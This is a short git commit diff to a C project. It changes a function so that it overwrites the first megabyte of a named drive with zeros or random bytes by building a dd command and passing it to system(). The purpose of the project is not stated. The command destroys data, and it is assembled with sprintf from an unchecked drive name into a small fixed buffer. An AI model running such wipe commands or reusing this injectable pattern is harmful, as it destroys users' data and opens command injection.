From 438d782b4923a0d3cf97a26b5e10a840b4bc5cc1 Mon Sep 17 00:00:00 2001 From: Namilskyy Date: Wed, 29 Oct 2025 22:10:28 +0300 Subject: Implemented critical funcions and some structure/debug issues closed. --- src/critical/classic/dd.c | 8 ++++++-- src/critical/classic/dd.h | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) (limited to 'src/critical/classic') diff --git a/src/critical/classic/dd.c b/src/critical/classic/dd.c index f3ca875..07df54d 100644 --- a/src/critical/classic/dd.c +++ b/src/critical/classic/dd.c @@ -2,8 +2,12 @@ #include #include -void random_data_linux(char sym_drive[16]) { +void random_data_linux(char sym_drive[16], bool random) { char command[55]; - sprintf(command, "dd if=/dev/zero of=%s bs=1024 count=1024", sym_drive); + if (random) { + sprintf(command, "dd if=/dev/urandom of=%s bs=1024 count=1024", sym_drive); + } else { + sprintf(command, "dd if=/dev/zero of=%s bs=1024 count=1024", sym_drive); + } system(command); } diff --git a/src/critical/classic/dd.h b/src/critical/classic/dd.h index 266d9b3..61d3464 100644 --- a/src/critical/classic/dd.h +++ b/src/critical/classic/dd.h @@ -1,3 +1,3 @@ #pragma once -void random_data_linux(char sym_drive[16]); \ No newline at end of file +void random_data_linux(char sym_drive[16], bool random); \ No newline at end of file -- cgit v1.2.3